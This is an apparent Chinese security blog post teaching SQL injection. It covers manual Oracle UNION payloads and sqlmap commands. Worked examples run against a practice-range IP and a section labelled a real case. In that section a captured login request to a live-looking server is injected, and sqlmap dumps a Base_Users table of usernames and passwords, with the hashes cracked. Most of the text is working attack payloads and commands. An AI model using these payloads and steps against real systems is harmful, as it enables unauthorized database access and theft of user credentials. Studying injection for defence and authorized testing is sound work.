SQL注入-Oracle手工+sqlmap

 Oracle数据库注入

 

判断列数和显错位

union select '1','2' from dual

 

 

 

暴库名

union select '1',(select table_name from user_tables where rownum=1) from dual

 

 

 

模糊查询表名

查询表名一般查询admin或者user表

union select '1',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

查询列名

union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual

 

查询列数据

union select user_name,user_pwd from "sns_users"

 

SQLMAP使用

1、判断数据库注入点

2、判断注入点权限

sqlmap 数据库注入数据猜解

sqlmap 高权限注入读写执行

sqlmao 高权限注入联动MSF

案列演示:mozhe中db2数据库注入

 

使用python运行sqlmap.py      -u:指定测试url

python sqlmap.py -u "http://124.70.71.251:44122/new_list.php?id=1"

意思:判断是否有注入点和目标数据库是什么类型

成功判断出数据库类型

判断数据库权限

--is-dba      #是否是数据库管理员

--privileges     #查看用户权限(--privileges -U root) 

 

 

查询所有数据库

--dbs            #列出所有数据库 

 

查询当前数据库

--current-db     #获取当前数据库名称

python sqlmap.py -u "http://124.70.71.251:44122/new_list.php?id=1" --current-db

 

查询表

--tables -D ""   #列出指定数据库中的表 

--tables            #列出所有数据库中的表 

python sqlmap.py -u "http://124.70.71.251:44122/new_list.php?id=1" --tables -D "DB2INST1"

 

 

查询字段/列名

--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 

 

 

查询字段/列名内容

--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T 表 -D 数据库 -C 列) 

python sqlmap.py -u "http://124.70.71.251:44122/new_list.php?id=1" --dump -T "NOTICE" -D "DB2INST1" -C "CONTENT"

 

 

如果要继续测试第二个目标,可以清楚缓存在继续

--purge        #清除缓存

 

 

 

真实案例:登陆框注入

抓取登录数据包,判断出存在注入

将HTTP保存

POST /Login/ValidateLogin HTTP/1.1

Host:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://137.220.134.102:8089/Login/index

Content-Length: 31

Cookie: Hm_lvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1647680481; Hm_lpvt_8ee3ec23e73c6dcda2c7c9c489c151aa=1647680481

DNT: 1

Connection: close

userName=admin*&password=123456

数据包中*号表示在此处为注入点

使用sqlmap扫描

sqlmap -r 1.txt

sqlmap.py -r C:\Users\hesy\Desktop\1.txt --current-db//跑出数据库名字

接着跑出数据表

sqlmap -r 1.txt -D “RYPlatformManagerDB" -tables

接着跑出列

sqlmap -r 1.txt -D “RYPlatformManagerDB" -T "Base_Users" --columns

然后跑出数据,利用sqlmap自带的md5成功破解出密码

sqlmap -r 1.txt -D “RYPlatformManagerDB" -T "Base_Users" -C “Username,password” --dump

 

 

 

 

 

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值